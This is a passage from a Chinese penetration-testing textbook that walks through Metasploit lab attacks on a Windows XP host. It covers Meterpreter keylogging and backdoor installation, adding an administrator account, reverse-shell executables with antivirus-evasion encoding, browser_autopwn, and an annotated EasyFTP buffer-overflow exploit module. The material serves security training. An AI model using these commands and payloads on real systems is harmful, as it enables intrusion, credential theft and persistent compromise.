C:\WINDOWS\system32\lsass.exe

...

148  alg.exe  x86  0  NT AUTHORITY\LOCAL SERVICE

C:\WINDOWS\System32\alg.exe

3172  explorer.exe x86  0  CUSTDESK\salesdept

C:\WINDOWS\Explorer.EXE

3236  reader_sl.exe x86  0  CUSTDESK\salesdept

C:\Program Files\Adobe\Reader 9.0\Reader\Reader_sl.exe

接下来,我们把 Meterpreter shell 插入 explorer.exe 的进程(3172),以便开始记录当前用户对系统的操作,所涉及的指令如下。

meterpreter > migrate 3172

[*] Migrating to 3172...

[*] Migration completed successfully.

meterpreter > getuid

Server username: CUSTDESK\salesdept

meterpreter > keyscan_start

Starting the keystroke sniffer...

现在就可以启动键盘记录程序。此后,我们等待程序录取键盘记录。

meterpreter > keyscan_dump

Dumping captured keystrokes...

<Return> www.yahoo.com <Return> <Back> www.bbc.co.uk <Return>

meterpreter > keyscan_stop

Stopping the keystroke sniffer...

上述信息表明,键盘记录程序记录了被测主机的网上活动。类似地,我们可以把它注入到winlogon.exe(pid 648)进程里,获取所有账户的登录信息。

经过上述操作,我们已经获取了被测主机的操作权限。但是如果目标主机安装了漏洞修复程序的补丁,我们就无法利用原有漏洞攻击有关服务或应用程序。为了避免这一情况,我们可以通过常人所说的“后门”服务程序维护自己对目标主机的控制。务必要注意:一旦在被测主机上安装了 Meterpreter提供的后门服务程序,所有人都可以控制被测主机;因为这个后面服务程序不对连入的控制端进行身份验证。换句话说,这个程序可能会让不请自来的人控制被测主机,这无疑是对被测单位形成了安全威胁。在正式的渗透测试业务中,这种有利于第三方攻击的行为通常都被服务合同明文禁止。所以,我们不建议您在正式的测试环境中使用 Meterpreter 提供的后门服务程序。您也应当在拟定合同的范围界定阶段明确有关规则。

msf exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 192.168.0.3:4444

[*] Automatically detecting the target...

[*] Fingerprint: Windows XP Service Pack 2 - lang:English

[*] Selected Target: Windows XP SP2 English (NX)

[*] Attempting to trigger the vulnerability...

[*] Sending stage (749056 bytes) to 192.168.0.7

[*] Meterpreter session 1 opened (192.168.0.3:4444 ->

192.168.0.7:1032) at Tue Nov 16 19:21:39 +0000 2010

meterpreter > ps

...

292 alg.exe  x86 0  NT AUTHORITY\LOCAL SERVICE

C:\WINDOWS\System32\alg.exe

1840 csrss.exe  x86 2  NT AUTHORITY\SYSTEM

\??\C:\WINDOWS\system32\csrss.exe

528 winlogon.exe x86 2  NT AUTHORITY\SYSTEM

\??\C:\WINDOWS\system32\winlogon.exe

240 rdpclip.exe x86 0  CUSTDESK\Momin Desktop

C:\WINDOWS\system32\rdpclip.exe

1060 userinit.exe x86 0  CUSTDESK\Momin Desktop

C:\WINDOWS\system32\userinit.exe

1544 explorer.exe x86 0  CUSTDESK\Momin Desktop

C:\WINDOWS\Explorer.EXE

...

meterpreter > migrate 1544

[*] Migrating to 1544...

[*] Migration completed successfully.

meterpreter > run metsvc -h

...

meterpreter > run metsvc

[*] Creating a meterpreter service on port 31337

[*] Creating a temporary installation directory

C:\DOCUME~1\MOMIND~1\LOCALS~1\Temp\oNyLOPeS...

[*] >> Uploading metsrv.dll...

[*] >> Uploading metsvc-server.exe...

[*] >> Uploading metsvc.exe...

[*] Starting the service...

  • Installing service metsvc

  • Starting service

Service metsvc successfully installed.

通过上述指令,我们在被测主机上安装了后门服务程序,现在可以关闭当前的meterpreter会话。在需要控制被测主机的时候,我们可以调用multi/handler中的windows/metsvc_bind_tcp payload,通过后门控制远程主机。

meterpreter > exit

[*] Meterpreter session 1 closed. Reason: User exit

msf exploit(ms08_067_netapi) > back

msf > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows/metsvc_bind_tcp

PAYLOAD => windows/metsvc_bind_tcp

msf exploit(handler) > set LPORT 31337

LPORT => 31337

msf exploit(handler) > set RHOST 192.168.0.7

RHOST => 192.168.0.7

msf exploit(handler) > exploit

[*] Starting the payload handler...

[*] Started bind handler

[*] Meterpreter session 2 opened (192.168.0.3:37251 ->

192.168.0.7:31337) at Tue Nov 16 20:02:05 +0000 2010

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

此外,Meterpreter 的 getgui 脚本也很有用,它可开启目标主机的远程桌面功能。如需在目标主机上创建新的账号,并强制启用远程桌面服务,可使用下述指令。

meterpreter > run getgui -u btuser -p btpass

[*] Windows Remote Desktop Configuration Meterpreter Script by

Darkoperator

[*] Carlos Perez [email protected]

[*] Language set by user to: 'en_EN'

[*] Setting user account for logon

[*] Adding User: btuser with Password: btpass

[*] Adding User: btuser to local group 'Remote Desktop Users'

[*] Adding User: btuser to local group 'Administrators'

[*] You can now login with the created user

[*] For cleanup use command: run multi_console_command -rc

/root/.msf3/logs/scripts/getgui/clean_up__20101116.3447.rc

现在,我们可通过 rdesktop 程序登录目标主机。我们新建一个终端窗口,并在其中输入下述指令。

rdesktop 192.168.0.7:3389

请注意:如果已经破解了目标主机的账户名和密码,就不需要新建任何账号,直接执行 run getgui -e 命令启用远程桌面就可以了。另外,在完成渗透工作以后,记得要在Meterpreter shell 里使用getgui/clean_up 脚本程序,以清理痕迹。

如果目标网络不可从外部直接访问,那么应该采取那些手段进一步渗透该网络呢?

Metasploit能够通过跳板进行操作。您可通过routeaddtargetSubnettargetSubnetMask SessionId 的指令,将某个会话指定为跳板。此处 SessionId 指代已经建立的 Meterpreter 会话(即跳板网关), targetsubnet参数指代下一步需要测试的网段(如果被攻陷的主机是双网设备,则可以是它的另一个网段)。Metasploit会通过跳板转发指定的网络流量,这样就可以继续渗透、测试那些无法直接访问到的网络设备。转发流量的主机,就是通常所说的“跳板”或“立足点”。

场景4

上述案例演示了Metasploit框架利用被测主机的远程漏洞的具体方法。那么如何利用客户端程序的漏洞(client-side exploitation)呢?就此问题,本文将以渗透测试人员的角度,通过典型案例介绍Metasploit在利用客户端程序的漏洞方面的角色,帮助读者了解它的灵活性和强大功能。

生成后门程序

Metasploit 的 msfpayload 工具能够生成可单独运行的、执行指定 Metasploit payload的后门程序。如果只能采取社会工程学手段对目标进行渗透,那么这种手段就真是救命稻草了。在本例中,我们将生成一个带有reverse shell payload的可执行文件,然后把它发给目标人物,诱使他/她执行这个文件。msfpayload程序可以生成多种语言的程序,输出Perl、C、Raw、Ruby、JavaScript、Exe、DLL和VBA等格式的文件。

如需启动msfpayload工具,可在您的shell中执行下述指令。

msfpayload -h

上述指令将会显示它的使用说明,并列出所有可用的payload。它的指令格式和MSFCLI非常相似。现在,我们通过下述指令创建一个带有reverse shell payload 的可执行程序。

msfpayload windows/shell_reverse_tcp LHOST=192.168.0.3 LPORT=33333 O

...

msfpayload windows/shell_reverse_tcp LHOST=192.168.0.3 LPORT=33333 X

/tmp/poker.exe

Created by msfpayload (http://www.metasploit.com).

Payload: windows/shell_reverse_tcp

Length: 314

Options: LHOST=192.168.0.3,LPORT=33333

这样,我们就生成了自己的后门程序。在把它发送到受害人或目标之前,您必须在MSFConsle里使用multi/handler做好服务端的准备,以便它可受理可执行文件连入本机的请求。这时候,要使multi/handler的配置和msfpayload在创建程序时的配置相匹配。

msf > use exploit/multi/handler

msf exploit(handler) > set PAYLOAD windows/shell_reverse_tcp

PAYLOAD => windows/shell_reverse_tcp

msf exploit(handler) > show options

...

msf exploit(handler) > set LHOST 192.168.0.3

LHOST => 192.168.0.3

msf exploit(handler) > set LPORT 33333

LPORT => 33333

msf exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.3:33333

[*] Starting the payload handler...

现在,我们可以把准备好的Windows可执行文件通过社会工程欺骗方法发送给目标机器,然后等待对方运行。

[*] Command shell session 2 opened (192.168.0.3:33333 ->

192.168.0.7:1053) at Wed Nov 17 04:39:23 +0000 2010

Microsoft Windows XP [Version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\salesdept\Desktop>

如果在 MSFConsole 里看见了上述信息,就表明目标主机发起了 reverse shell,我们成功地连接到了被测主机的shell,圆满地完成了任务。

Metasploit生成的文件能否规避杀毒软件的检测?

有很多种方法可以规避杀毒软件的检测,本文只介绍其中的一种。我们可使用/usr/bin/msfencode目录下的msfencode工具,对可执行文件进行保护性封装。在使用 msfpayload 程序生成可执行文件时,使用管道命令把文件内容传给 msfencode 再生成最终文件。例如,下述指令将生成带有reverse shell的可执行文件,并对文件进行保护性封装:msfpayload windows/ shell/reverse_tcp LHOST=192.168.0.3 LPORT=32323 R | msfencode -e x86/shikata_ga_nai -t exe >/tmp/tictoe。在规避检测方面,staged payload的成功率大于inlinepayload。

自动化浏览器漏洞利用

在测试较为安全的企业网络时,渗透人员往往不知从何处入手。在这种情况下,以使用电子设备的人员为目标,或以员工为首要目标开展社会工程学攻击可能是唯一的方向。本例将使用 Metasploit 框架的客户端漏洞利用模板,以演示基于技术手段的社会工程学攻击。下面将介绍一款先进的辅助工具——Browser autopwn。在目标人员访问它构建的恶意URL 的情况下,它能够识别出被测主机的浏览器类型,并根据识别结果自动从框架中选用针对该浏览器的exploit程序对浏览器发起攻击。有关的指令及运行结果如下。

msf > use auxiliary/server/browser_autopwn

msf auxiliary(browser_autopwn) > show options

...

msf auxiliary(browser_autopwn) > set LHOST 192.168.0.3

LHOST => 192.168.0.3

msf auxiliary(browser_autopwn) > set SRVPORT 80

SRVPORT => 80

msf auxiliary(browser_autopwn) > set SRVHOST 192.168.0.3

SRVHOST => 192.168.0.3

msf auxiliary(browser_autopwn) > set URIPATH /

URIPATH => /

msf auxiliary(browser_autopwn) > run

[*] Auxiliary module execution completed

[*] Starting exploit modules on host 192.168.0.3...

[*] --

[*] Starting exploit multi/browser/firefox_escape_retval with payload generic/ shell_reverse_tcp

[*] Using URL: http://192.168.0.3:80/Eem9cKUlFvW

[*] Server started.

[*] Starting exploit multi/browser/java_calendar_deserialize with payload java/meterpreter/reverse_tcp

[*] Using URL: http://192.168.0.3:80/s98jmOiOtmv4

[*] Server started.

[*] Starting exploit multi/browser/java_trusted_chain with payload java/ meterpreter/reverse_tcp

[*] Using URL: http://192.168.0.3:80/6BkY9uM23b

[*] Server started.

[*] Starting exploit multi/browser/mozilla_compareto with payload generic/shell_reverse_tcp

[*] Using URL: http://192.168.0.3:80/UZOI7Y

[*] Server started.

[*] Starting exploit multi/browser/mozilla_navigatorjava with payload generic/ shell_reverse_tcp

[*] Using URL: http://192.168.0.3:80/jRwlT67KIK6gJE

...

[*] Starting exploit windows/browser/ie_createobject with payload windows/meterpreter/reverse_tcp

[*] Using URL: http://192.168.0.3:80/Xb9Cop7VadNu

[*] Server started.

[*] Starting exploit windows/browser/ms03_020_ie_objecttype with payload windows/meterpreter/reverse_tcp

[*] Using URL: http://192.168.0.3:80/rkd0X4Xb

[*] Server started.

...

[*] Starting handler for windows/meterpreter/reverse_tcp on port 3333

[*] Starting handler for generic/shell_reverse_tcp on port 6666

[*] Started reverse handler on 192.168.0.3:3333

[*] Starting the payload handler...

[*] Starting handler for java/meterpreter/reverse_tcp on port 7777

[*] Started reverse handler on 192.168.0.3:6666

[*] Starting the payload handler...

[*] Started reverse handler on 192.168.0.3:7777

[*] Starting the payload handler...

[*] --- Done, found 15 exploit modules

[*] Using URL: http://192.168.0.3:80/

[*] Server started.

一旦目标人员访问了恶意URL(http://192.168.0.3),程序将会识别出他的/她的浏览器,并执行相应的漏洞利用程序。在此以后,我们就可以通过客户端利用程序渗透目标主机。

[*] Request '/' from 192.168.0.7:1046

[*] Request '/' from 192.168.0.7:1046

[*] Request '/?sessid=V2luZG93czpYUDpTUDI6ZW4tdXM6eDg2Ok1TSUU6Ni4wO1NQMjo %3d' from 192.168.0.7:1046

[*] JavaScript Report: Windows:XP:SP2:en-us:x86:MSIE:6.0;SP2:

[*] Responding with exploits

[*] Handling request from 192.168.0.7:1060...

[*] Payload will be a Java reverse shell to 192.168.0.3:7777 from 192.168.0.7...

[*] Generated jar to drop (4447 bytes).

[*] Handling request from 192.168.0.7:1061...

...

[*] Sending Internet Explorer COM CreateObject Code Execution exploit HTML to 192.168.0.7:1068...

[*] Request '/' from 192.168.0.7:1069

[*] Request '/' from 192.168.0.7:1068

[*] Request '/' from 192.168.0.7:1069

[*] Sending EXE payload to 192.168.0.7:1068...

[*] Sending stage (749056 bytes) to 192.168.0.7

[*] Meterpreter session 1 opened (192.168.0.3:3333 ->192.168.0.7:1072) at Thu Nov 18 02:24:00 +0000 2010

[*] Session ID 1 (192.168.0.3:3333 -> 192.168.0.7:1072) processing InitialAutoRunScript 'migrate -f'

[*] Current server process: hzWWoLvjDsKujSAsBVykMTiupUh.exe (4052)

[*] Spawning a notepad.exe host process...

[*] Migrating into process ID 2788

[*] New server process: notepad.exe (2788)

...

msf auxiliary(browser_autopwn) > sessions

Active sessions

===============

Id Type  Information

Connection

-- ----  ----------


1 meterpreter x86/win32 CUSTDESK\Momin Desktop @ CUSTDESK

(ADMIN) 192.168.0.3:3333 -> 192.168.0.7:1072

msf auxiliary(browser_autopwn) > sessions -i 1

[*] Starting interaction with 1...

meterpreter > getuid

Server username: CUSTDESK\Momin Desktop

上述信息表明,我们已经利用客户端的攻击程序成功渗透到目标主机。应当指出的是,这些Web浏览器的exploit程序,每个都只能对特定版本的特定浏览器(例如Intenet Explorer、Firefox、Opera等)进行攻击。

9.3.4 编写漏洞利用模板

Metasploit 框架最引人注目之处在于它可以独立开发 exploit 程序。本节将围绕 exploit开发的核心问题进行讨论,通过生动的例子演示使用 Metasploit 框架的数据库构造 exploit的关键步骤。然而,在使用这个框架编写自己的 exploit 程序之前,您需要理解一些 Ruby编程的基础知识。另外,您还需要掌握逆向工程的基本技能,并切实理解漏洞挖掘工具(如fuzzers和debuggers)的使用方法。只有兼备上述技能,您才能按步就班地构造exploit程序。本节的内容仅作为有关研发的简略介绍,在完整程度上可能存在欠缺。

本例将针对 EasyFTP Server(1.7.0.11 以下版本)编写利用 MKD Command Stack Buffer Overflow 漏洞的shellcode 程序,它能够反映编写缓冲区溢出exploit 的大致方法。您可以针对其他FTP服务端程序的相似漏洞,举一反三地编写exploit程序。这个exploit的源代码的下载网址是/usr/share/metasploit-framework/modules/exploits/windows/ftp/easyftp_mkd_fixret.rb。

#

$Id: easyftp_mkd_fixret.rb 9935 2010-07-27 02:25:15Z jduck $

#

文件中的header部分描述了这个exploit的文件名、修订编号、创建日期和时间。

#

This file is part of the Metasploit Framework and may be subject to

redistribution and commercial restrictions. Please see the Metasploit

Framework web site for more information on licensing and terms of use.

http://metasploit.com/framework/

#

require 'msf/core'

在exploit的开头部分,首先要对MSF核心库进行初始化。

class Metasploit3 < Msf::Exploit::Remote

上述代码所用的Exploit子类定义了远程TCP连接所需的各种选项和方法(内置函数),包括RHOST、RPORT、Connect()、Disconnect()、SSL()等。

Rank = GreatRanking

上述代码根据需求和使用的频率分配等级。

include Msf::Exploit::Remote::Ftp

上述代码中的Ftp子类用于和FTP服务端建立连接。

def initialize(info = {})

super(update_info(info,

'Name'   => 'EasyFTP Server <= 1.7.0.11 MKD Command Stack Buffer Overflow',

'Description' => %q{

This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11

and earlier. EasyFTP fails to check input size when parsing 'MKD' commands, which

leads to a stack based buffer overflow.

NOTE: EasyFTP allows anonymous access by default. However, in order to access the

'MKD' command, you must have access to an account that can create directories.

After version 1.7.0.12, this package was renamed "UplusFtp".

This exploit utilizes a small piece of code that I've referred to as 'fixRet'.

This code allows us to inject of payload of ~500 bytes into a 264 byte buffer by

'fixing' the return address post-exploitation. See references for more information.

},

'Author' ==>

[

'x90c', # original version

'jduck', # port to metasploit / modified to use fix-up stub (works with bigger payloads)

],

'License' => MSF_LICENSE,

'Version' => '$Revision: 9935 $',

' References' =>

[

['OSVDB', '62134' ],

['URL', 'http://www.exploit-db.com/exploits/12044/'],

['URL', 'http://www.exploit-db.com/exploits/14399/']

],

上述代码描述了exploit的常规信息,并且明确了参考的资料。

'DefaultOptions' =>

{

'EXITFUNC' => 'thread'

上述代码指定了exploit在结束时的销毁方式。

},

'Privileged' => false,

'Payload'  =>

{

'Space' => 512,

'BadChars' => "\x00\x0a\x0d\x2f\x5c",

'DisableNops' => true

},

上述代码为shellcode预留了512字节空间,列出应终止paylod的坏字符,并禁止使用NOP填充payload。

'Platform'  => 'win',

'Targets'  =>

[

[ 'Windows Universal - v1.7.0.2', { 'Ret' =>

0x004041ec } ], # call ebp - from ftpbasicsvr.exe

[ 'Windows Universal - v1.7.0.3', { 'Ret' =>

0x004041ec } ], # call ebp - from ftpbasicsvr.exe

[ 'Windows Universal - v1.7.0.4', { 'Ret' =>

0x004041dc } ], # call ebp - from ftpbasicsvr.exe

[ 'Windows Universal - v1.7.0.5', { 'Ret' =>

0x004041a1 } ], # call ebp - from ftpbasicsvr.exe

[ 'Windows Universal - v1.7.0.6', { 'Ret' =>

0x004041a1 } ], # call ebp - from ftpbasicsvr.exe

[ 'Windows Universal - v1.7.0.7', { 'Ret' =>

0x004041a1 } ], # call ebp - from ftpbasicsvr.exe

[ 'Windows Universal - v1.7.0.8', { 'Ret' =>

0x00404481 } ], # call ebp - from ftpbasicsvr.exe

[ 'Windows Universal - v1.7.0.9', { 'Ret' =>

0x00404441 } ], # call ebp - from ftpbasicsvr.exe

[ 'Windows Universal - v1.7.0.10', { 'Ret' =>

0x00404411 } ], # call ebp - from ftpbasicsvr.exe

[ 'Windows Universal - v1.7.0.11', { 'Ret' =>

0x00404411 } ], # call ebp - from ftpbasicsvr.exe

],

'DisclosureDate' => 'Apr 04 2010',

'DefaultTarget' => 0))

上述代码定义了操作系统的平台类型,定义了Easy FTPServer(1.7.0.2~1.7.0.11)的10个(序号0~9)有缺陷的版本;根据版本的不同,又定义了可执行程序(ftpbasicsvr. exe)不同的返回地址。另外,它声明了exploit的发布日期,以及攻击目标的默认版本号(1.7.0.2)。

end

def check

connect

disconnect

if (banner =~ /BigFoolCat/)

return Exploit::CheckCode::Vulnerable

end

return Exploit::CheckCode::Safe

end

上述代码中的check()函数用于判断目标主机是否存在该漏洞。

def make_nops(num); "C" * num; end

上述代码定义的宏函数可生成num个NOP,主要用于规避IDS/IPS/AV检测。虽然这个程序确实使用NOP作为规避检测的手段,但是通常情况下这种方式并不会奏效。所以,除非有特别好的理由,否则不要使用这种技术。简单起见,在写exploit模板的时候保留了这段代码。

def exploit

connect_login

NOTE:

This exploit jumps to ebp, which happens to point at a partial version of

the 'buf' string in memory. The fixRet below fixes up the code stored on the

stack and then jumps there to execute the payload. The value in esp is used

with an offset for the fixup.

fixRet_asm = %q{

mov edi,esp

sub edi, 0xfffffe10

mov [edi], 0xfeedfed5

add edi, 0xffffff14

jmp edi

fixRet = Metasm::Shellcode.assemble(Metasm::Ia32.new,

fixRet_asm).encode_string

buf = ''

上述代码将返冋地址调整为 payload 的启始地址。从技术上来说,它解决了堆栈寻址(stack addressing)的问题。

print_status("Prepending fixRet...")

buf << fixRet

buf << make_nops(0x20 - buf.length)

exploit缓冲区的开头部分是经编码处理过的返回地址和随机个NOP指令。

print_status("Adding the payload...")

buf << payload.encoded

上述代码将在程序运行期间把shellcode动态地添加到exploit中。

Patch the original stack data into the fixer stub

buf[10, 4] = buf[268, 4]

print_status("Overwriting part of the payload with target

address...")

buf[268,4] = [target.ret].pack('V') # put return address

@ 268 bytes

调整栈里的数据,修改返回地址为shellcode的地址。这样利用栈的特性,程序在执行过程中将自动跳转到shell的地址。

print_status("Sending exploit buffer...")

send_cmd( ['MKD', buf] , false)

最后,我们借助服务端程序里存在漏洞的MKD指令(这是一个经过FTP身份验证之后才能使用的指令),把构造好的缓冲区数据发送给指定主机。精心构造的buf数据可以通过Easy-FTP 服务端程序的 MKD 命令触发基于栈结构的缓冲区溢出漏洞,继而执行我们的payload,完成对目标系统的漏洞利用。之后,我们还要通过下述代码关闭FTP连接。

handler

disconnect

end

end

Metasploit搭载了许多实用工具。Win32下的msfpescan程序和Linux下的msfelfscan,都可用于查找指定程序的返回地址。例如,要查找指定程序的返回地址,可使用指令:#./msfpescan -p targetapp.ext。

9.4 本章总结

本章介绍了利用目标漏洞的几个关键点。开篇首先展示了漏洞检测的全过程,并强调了有关工作所需的知识和技巧。功能强大的Kali Linux 是漏洞评估工作的利器。本章接下来列举出了发布各种已公布漏洞和exploit程序的网站。本章的最后篇幅演示了髙级漏洞利用工具集——Metasploit框架。文中借助大量实例,介绍了通过各种利用漏洞获取被测目标控制权的方法。此外,本文还深入浅出地介绍了编写漏洞利用代码的各个环节,阐述了exploit程序的基本框架和编写策略。

下一章将会介绍提升权限的各种工具和技术。